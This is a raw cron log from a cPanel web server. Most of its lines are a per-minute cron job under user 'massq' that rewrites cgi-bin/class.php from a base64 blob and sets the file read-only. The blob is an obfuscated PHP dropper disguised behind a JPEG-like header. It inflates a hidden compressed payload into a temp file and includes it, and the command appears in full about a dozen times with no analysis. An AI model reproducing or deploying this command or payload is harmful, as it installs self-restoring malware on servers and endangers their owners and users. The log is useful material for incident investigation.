Sep  3 12:53:01 server CROND[2341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:53:01 server CROND[2343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:53:01 server CROND[2342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:54:01 server CROND[2752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:54:01 server CROND[2753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:54:01 server CROND[2754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:55:01 server CROND[3239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:55:01 server CROND[3258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:55:01 server CROND[3261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:55:01 server CROND[3264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:55:01 server CROND[3260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:55:01 server CROND[3262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:55:01 server CROND[3263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:56:01 server CROND[4073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:56:01 server CROND[4074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:56:01 server CROND[4075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:57:01 server CROND[4459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:57:01 server CROND[4460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:57:01 server CROND[4466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:57:01 server CROND[4458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:58:01 server CROND[4862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:58:01 server CROND[4861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:58:01 server CROND[4863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:59:01 server CROND[5237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:59:01 server CROND[5238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:59:01 server CROND[5239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:00:01 server CROND[5775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:00:01 server CROND[5776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:00:01 server CROND[5778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:00:01 server CROND[5780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:00:01 server CROND[5782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:00:01 server CROND[5781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:00:01 server CROND[5779]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 13:00:01 server CROND[5784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:00:01 server CROND[5783]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:01:01 server CROND[6611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:01:01 server CROND[6612]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 13:01:01 server CROND[6613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:01:01 server CROND[6616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:01:01 server run-parts(/etc/cron.hourly)[6612]: starting 0anacron
Sep  3 13:01:01 server run-parts(/etc/cron.hourly)[6632]: finished 0anacron
Sep  3 13:02:01 server CROND[7197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:02:01 server CROND[7198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:02:01 server CROND[7199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:03:01 server CROND[7589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:03:01 server CROND[7590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:03:01 server CROND[7591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:04:01 server CROND[7975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:04:01 server CROND[7976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:04:01 server CROND[7977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:05:01 server CROND[8469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
